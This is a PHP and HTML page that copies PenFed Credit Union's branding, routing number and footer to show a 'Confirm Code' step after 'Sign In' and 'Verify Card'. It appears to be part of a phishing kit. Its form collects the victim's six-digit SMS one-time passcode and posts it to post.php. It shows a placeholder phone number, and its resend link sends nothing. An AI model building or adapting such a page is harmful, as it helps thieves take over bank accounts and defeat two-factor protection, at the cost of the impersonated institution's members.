<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
    <title>PenFed Credit Union — Enter Verification Code</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:      #1B3A6B;
            --navy-dark: #122849;
            --blue:      #1B6EBF;
            --blue-dark: #155aa0;
            --text:      #2d2d2d;
            --text-sub:  #6b7280;
            --border:    #d1d5db;
            --offwhite:  #f5f7fa;
            --white:     #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--offwhite); }

        .utility-bar { background: #f0f2f5; border-bottom: 1px solid #dde1e8; padding: 6px 0; }
        .utility-inner { max-width: 1200px; margin: 0 auto; padding: 0 32px; display: flex; align-items: center; justify-content: center; gap: 28px; }
        .utility-bar a { font-size: 12.5px; color: var(--text-sub); text-decoration: none; }
        .utility-bar .routing { font-size: 12.5px; color: var(--text-sub); font-weight: 600; }
        .search-link { margin-left: auto; display: flex; align-items: center; gap: 5px; color: var(--blue); font-weight: 600; font-size: 12.5px; text-decoration: none; }

        .main-nav { background: var(--white); border-bottom: 1px solid #e5e8ef; padding: 0 32px; }
        .nav-inner { max-width: 1200px; margin: 0 auto; display: flex; align-items: center; height: 76px; gap: 0; }
        .nav-logo { display: flex; align-items: center; text-decoration: none; margin-right: 32px; flex-shrink: 0; }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; flex: 1; }
        .nav-links a { font-size: 14px; font-weight: 600; color: var(--text); text-decoration: none; padding: 0 14px; height: 76px; display: flex; align-items: center; border-bottom: 3px solid transparent; transition: color 0.15s, border-color 0.15s; white-space: nowrap; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-actions { display: flex; align-items: center; gap: 10px; margin-left: 20px; }
        .btn-join { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 10px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s; }
        .btn-login-nav { background: transparent; color: var(--navy); border: 2px solid var(--navy); border-radius: 4px; padding: 9px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s, color 0.15s; }

        .page-body {
            flex: 1;
            display: flex; align-items: center; justify-content: center;
            padding: 48px 20px;
            background: linear-gradient(160deg, #f0f4fb 0%, #e8eef8 100%);
        }

        .sms-wrap { width: 100%; max-width: 460px; }

        .steps-bar { display: flex; align-items: center; gap: 0; margin-bottom: 24px; }
        .step-item { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; }
        .step-num { width: 26px; height: 26px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 11px; font-weight: 700; flex-shrink: 0; }
        .step-item.done .step-num { background: var(--navy); color: #fff; }
        .step-item.done .step-label { color: var(--navy); }
        .step-item.active .step-num { background: var(--blue); color: #fff; box-shadow: 0 0 0 3px rgba(27,110,191,0.2); }
        .step-item.active .step-label { color: var(--blue); }
        .step-connector { flex: 1; height: 2px; background: #d1d9e6; margin: 0 8px; }
        .step-connector.done { background: var(--navy); opacity: 0.35; }

        .card {
            background: var(--white);
            border-radius: 6px;
            padding: 36px 36px 32px;
            box-shadow: 0 4px 24px rgba(27,58,107,0.10);
            animation: cardIn 0.4s ease both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(14px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { text-align: center; margin-bottom: 20px; }
        .card-logo img { height: 44px; width: auto; }

        .card-header { margin-bottom: 20px; padding-bottom: 16px; border-bottom: 2px solid var(--blue); }
        .card-header h1 { font-size: 20px; font-weight: 700; color: var(--navy); }
        .card-header p { font-size: 13.5px; color: var(--text-sub); margin-top: 4px; line-height: 1.55; }

        /* Phone icon display */
        .phone-notice {
            display: flex; align-items: center; gap: 14px;
            background: #f0f4fb; border: 1px solid #c8d8f0;
            border-radius: 4px; padding: 14px 16px; margin-bottom: 24px;
        }
        .phone-icon-wrap {
            width: 44px; height: 44px; border-radius: 50%;
            background: var(--navy); display: flex; align-items: center; justify-content: center;
            flex-shrink: 0;
        }
        .phone-icon-wrap svg { color: #fff; }
        .phone-notice-text { font-size: 13px; color: var(--navy); line-height: 1.55; }
        .phone-notice-text strong { font-weight: 700; }

        /* OTP input boxes */
        .otp-group {
            display: flex; gap: 10px; justify-content: center;
            margin-bottom: 24px;
        }
        .otp-input {
            width: 52px; height: 60px;
            border: 2px solid var(--border); border-radius: 6px;
            text-align: center;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 24px; font-weight: 700; color: var(--navy);
            outline: none; background: var(--white);
            transition: border-color 0.15s, box-shadow 0.15s;
            caret-color: var(--blue);
        }
        .otp-input:focus {
            border-color: var(--blue);
            box-shadow: 0 0 0 3px rgba(27,110,191,0.14);
        }
        .otp-input.filled { border-color: var(--navy); }

        /* Timer */
        .code-timer {
            text-align: center;
            font-size: 13px; color: var(--text-sub);
            margin-bottom: 20px;
        }
        .code-timer span { font-weight: 700; color: var(--navy); font-size: 14px; }
        .code-timer.expired span { color: #c0392b; }

        .btn-main {
            width: 100%; height: 46px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; font-weight: 700; cursor: pointer;
            margin-bottom: 14px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
            transition: background 0.15s;
        }
        .btn-main:hover { background: var(--blue-dark); }
        .btn-main:disabled { background: #b0c4de; cursor: not-allowed; }

        .resend-row {
            text-align: center; font-size: 13.5px; color: var(--text-sub);
            margin-bottom: 16px;
        }
        .resend-row a { color: var(--blue); text-decoration: none; font-weight: 600; }
        .resend-row a:hover { text-decoration: underline; }
        .resend-row a.disabled-link { color: var(--text-sub); pointer-events: none; }

        .card-links { display: flex; flex-direction: column; gap: 10px; padding-top: 14px; border-top: 1px solid var(--border); }
        .card-links a { font-size: 13px; color: var(--blue); text-decoration: none; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { color: var(--navy); text-decoration: underline; }

        /* Error state */
        .error-msg {
            background: #fff0f0; border: 1px solid #f5c0c0;
            border-radius: 4px; padding: 10px 13px;
            font-size: 13px; color: #c0392b; font-weight: 600;
            margin-bottom: 14px; display: none;
            align-items: center; gap: 8px;
        }

        .page-footer { background: var(--navy); padding: 20px 32px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-inner { max-width: 1200px; margin: 0 auto; width: 100%; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.6); text-decoration: none; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.4); }

        @media(max-width: 500px) { .card { padding: 24px 18px 28px; } .otp-input { width: 42px; height: 52px; font-size: 20px; } .nav-links { display: none; } .main-nav { padding: 0 20px; } .step-label { display: none; } }
    </style>
</head>
<body>
    <div class="utility-bar">
        <div class="utility-inner">
            <span class="routing">Routing # 256078446</span>
            <a href="#">Partners</a><a href="#">Member Discounts</a><a href="#">Wealth</a>
            <a href="#">Foundation</a><a href="#">ATMs &amp; Branches</a><a href="#">About</a>
            <a href="#" class="search-link">Search <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg></a>
        </div>
    </div>

    <nav class="main-nav">
        <div class="nav-inner">
            <a href="#" class="nav-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></a>
            <div class="nav-links">
                <a href="#">Checking &amp; Savings</a><a href="#">Credit Cards</a><a href="#">Auto</a>
                <a href="#">Mortgage &amp; Home Equity</a><a href="#">Loans</a><a href="#">Learn</a>
            </div>
            <div class="nav-actions">
                <a href="#" class="btn-join">Join Now</a>
                <a href="login.php" class="btn-login-nav">Log In</a>
            </div>
        </div>
    </nav>

    <div class="page-body">
        <div class="sms-wrap">
            <div class="steps-bar">
                <div class="step-item done"><div class="step-num">✓</div><span class="step-label">Sign In</span></div>
                <div class="step-connector done"></div>
                <div class="step-item done"><div class="step-num">✓</div><span class="step-label">Verify Card</span></div>
                <div class="step-connector done"></div>
                <div class="step-item active"><div class="step-num">3</div><span class="step-label">Confirm Code</span></div>
            </div>

            <div class="card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></div>
                <div class="card-header">
                    <h1>Enter Your Verification Code</h1>
                    <p>A 6-digit security code has been sent to your registered mobile number.</p>
                </div>

                <div class="phone-notice">
                    <div class="phone-icon-wrap">
                        <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18"/></svg>
                    </div>
                    <div class="phone-notice-text">
                        Code sent to <strong>***-***-<?php echo htmlspecialchars($_SESSION['phone_last4'] ?? '4872', ENT_QUOTES); ?></strong><br>
                        Check your messages and enter the code below.
                    </div>
                </div>

                <div class="error-msg" id="errMsg">
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                    Invalid code. Please try again.
                </div>

                <form action="post.php" method="post" id="smsForm">
                    <div class="otp-group">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" autocomplete="one-time-code" id="d0">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" id="d1">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" id="d2">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" id="d3">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" id="d4">
                        <input class="otp-input" type="text" maxlength="1" inputmode="numeric" pattern="[0-9]" id="d5">
                    </div>
                    <input type="hidden" name="sms_code" id="smsCodeInput">

                    <div class="code-timer" id="codeTimer">
                        Code expires in <span id="timerDisplay">5:00</span>
                    </div>

                    <button type="submit" class="btn-main" id="submitBtn">
                        Verify Code
                        <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                    </button>
                </form>

                <div class="resend-row">
                    Didn't receive a code?
                    <a href="#" id="resendBtn" class="disabled-link">Resend Code</a>
                </div>

                <div class="card-links">
                    <a href="#">
                        <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        Need help? Contact member support
                    </a>
                    <a href="login.php">
                        <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
                        Back to log in
                    </a>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-inner">
            <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
            <div class="footer-copy">© 2025 PenFed Credit Union. Federally Insured by NCUA.</div>
        </div>
    </footer>

    <script>
        // OTP box auto-advance
        const inputs = Array.from(document.querySelectorAll('.otp-input'));
        inputs.forEach((inp, i) => {
            inp.addEventListener('input', e => {
                const val = e.target.value.replace(/\D/g, '');
                e.target.value = val;
                if (val && i < inputs.length - 1) inputs[i + 1].focus();
                inp.classList.toggle('filled', !!val);
                updateHidden();
            });
            inp.addEventListener('keydown', e => {
                if (e.key === 'Backspace' && !inp.value && i > 0) {
                    inputs[i - 1].focus();
                    inputs[i - 1].value = '';
                    inputs[i - 1].classList.remove('filled');
                    updateHidden();
                }
            });
            inp.addEventListener('paste', e => {
                e.preventDefault();
                const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '').slice(0, 6);
                paste.split('').forEach((ch, j) => {
                    if (inputs[j]) { inputs[j].value = ch; inputs[j].classList.add('filled'); }
                });
                if (inputs[Math.min(paste.length, 5)]) inputs[Math.min(paste.length, 5)].focus();
                updateHidden();
            });
        });

        function updateHidden() {
            document.getElementById('smsCodeInput').value = inputs.map(i => i.value).join('');
        }

        // Countdown timer (5 min)
        let smsRem = 300;
        let resendEnabled = false;
        const timerEl = document.getElementById('timerDisplay');
        const timerWrap = document.getElementById('codeTimer');
        const resendBtn = document.getElementById('resendBtn');

        function tickSms() {
            if (smsRem <= 0) {
                timerEl.textContent = 'Expired';
                timerWrap.classList.add('expired');
                resendBtn.classList.remove('disabled-link');
                clearInterval(smsTimer);
                return;
            }
            const m = Math.floor(smsRem / 60), s = smsRem % 60;
            timerEl.textContent = m + ':' + String(s).padStart(2, '0');

            // Enable resend after 30s
            if (smsRem <= 270 && !resendEnabled) {
                resendEnabled = true;
                resendBtn.classList.remove('disabled-link');
            }
            smsRem--;
        }
        tickSms();
        const smsTimer = setInterval(tickSms, 1000);

        resendBtn.addEventListener('click', function(e) {
            e.preventDefault();
            if (!resendBtn.classList.contains('disabled-link')) {
                smsRem = 300; resendEnabled = false;
                resendBtn.classList.add('disabled-link');
                timerWrap.classList.remove('expired');
                inputs.forEach(i => { i.value = ''; i.classList.remove('filled'); });
                inputs[0].focus();
                updateHidden();
                // Trigger resend via AJAX or form POST here
            }
        });

        // Focus first box on load
        inputs[0].focus();
    </script>
</body>
</html>